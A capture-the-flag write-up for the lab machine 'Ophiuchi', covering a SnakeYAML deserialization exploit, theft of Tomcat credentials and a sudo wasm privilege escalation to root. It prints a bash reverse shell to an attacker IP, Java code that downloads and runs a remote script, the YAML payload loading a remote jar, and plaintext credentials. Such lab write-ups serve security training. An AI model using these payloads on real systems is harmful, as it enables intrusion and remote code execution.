Ophiuchi

Ophiuchi

Contents

Write Up

Two ports are open, 22 and 8080. Pulling up 8080 brings up an online yaml parser page. Submitting text brings up a page with Due to security reason this feature has been temporarily on hold. We will soon fix the issue!. Putting a ' in the input and hitting submit pulls up an error page, revealing that the page is using snakeyaml. Snakeyaml appears to have a known deserialization vulnerability which we can use for RCE.

We’re going to be using artsploit’s yaml payload generator to create the payload for deserialization. We’ll have the payload download and execute a shell script that starts a reverse shell.

rshell.sh :

#!/bin/bash
bash -i >& /dev/tcp/10.10.14.8/4040 0>&1

Modifying artsploit’s code to our own commands:

    public AwesomeScriptEngineFactory() {
        try {
            Runtime.getRuntime().exec("wget -P /tmp/ http://10.10.14.8/rshell.sh");
            Runtime.getRuntime().exec("/bin/bash /tmp/rshell.sh");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

Execute javac src/artsploit/AwesomeScriptEngineFactory.java and jar -cvf yaml-payload.jar -C src/ . to create the payload jar file and then move it and our shell script to our web server.

Now we submit this in the yaml form and that should start the exploit.

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://10.10.14.8/yaml-payload.jar"]
  ]]
]

Despite the message saying the feature is disabled it looks like our yaml is still being processed by snakeyaml. We can test this by using sudo tcpdump -i tun0 src 10.10.10.227 and dst port 80. We can see the request come in for yaml-payload.jar and rshell.sh. For some reason my listener didn’t connect the first time, I ran the same exploit again and it popped.

We now have a shell as tomcat! python3 -c 'import pty; pty.spawn("/bin/bash")' to upgrade our shell. The user flag is in /home/admin, but we don’t have perms for it, so we’ll have to switch to the admin user. We head on over to /opt/tomcat/conf and pull some creds from the tomcat-users.xml file, admin : whythereisalimit. The password works with su admin and we grab the user flag!

User Flag

At this point, I drop my public ssh key in and switch to an ssh connection on admin. sudo -l shows (ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go.

Looking through the index.go script, it calls to main.wasm and deploy.sh without specifying a path, meaning we can run the command from a directory with our own versions of the files. As is, the script fails to execute deploy.sh because the info function in the wasm isn’t returning a “1”. So, the goal here is to get the WebAssembly file to return a “1” after info is called, then the script will run deploy.sh.

Resources I used:

After getting some understanding of WebAssembly I found the The WebAssembly Binary Toolkit(WABT), which will let us turn the wasm file into a text wat file. I downloaded the main.wasm file to my own machine to edit it.

~/bin/wabt-1.0.23/bin/wasm2wat ./main.wasm -o main.wat

(module
  (type (;0;) (func (result i32)))
  (func $info (type 0) (result i32)
    i32.const 0)
  (table (;0;) 1 1 funcref)
  (memory (;0;) 16)
  (global (;0;) (mut i32) (i32.const 1048576))
  (global (;1;) i32 (i32.const 1048576))
  (global (;2;) i32 (i32.const 1048576))
  (export "memory" (memory 0))
  (export "info" (func $info))
  (export "__data_end" (global 1))
  (export "__heap_base" (global 2)))

The func $info line is where we need to make our change. It returns i32.const 0, we modify it to i32.const 1.

(func $info (type 0) (result i32)
    i32.const 1)`

Now turn it back into a wasm: ~/bin/wabt-1.0.23/bin/wat2wasm main.wat -o main.wasm. Send it over to the target machine: scp main.wasm admin@ophiuchi.htb:/tmp/ and make a copy of deploy.sh in the tmp folder.

Now run the sudo command from the /tmp/ directory, sudo /usr/bin/go run /opt/wasm-functions/index.go, and we get a “Ready to Deploy” response.

Ready

Excellent! Add some reverse shell code to deploy.sh, I used a python3 reverse shell, and we’ve got root!

Root Flag


Recon

Initial Scan:

nmap -sV 10.10.10.227

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
8080/tcp open  http    Apache Tomcat 9.0.38
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Credentials

Tomcat:

admin : whythereisalimit

Notes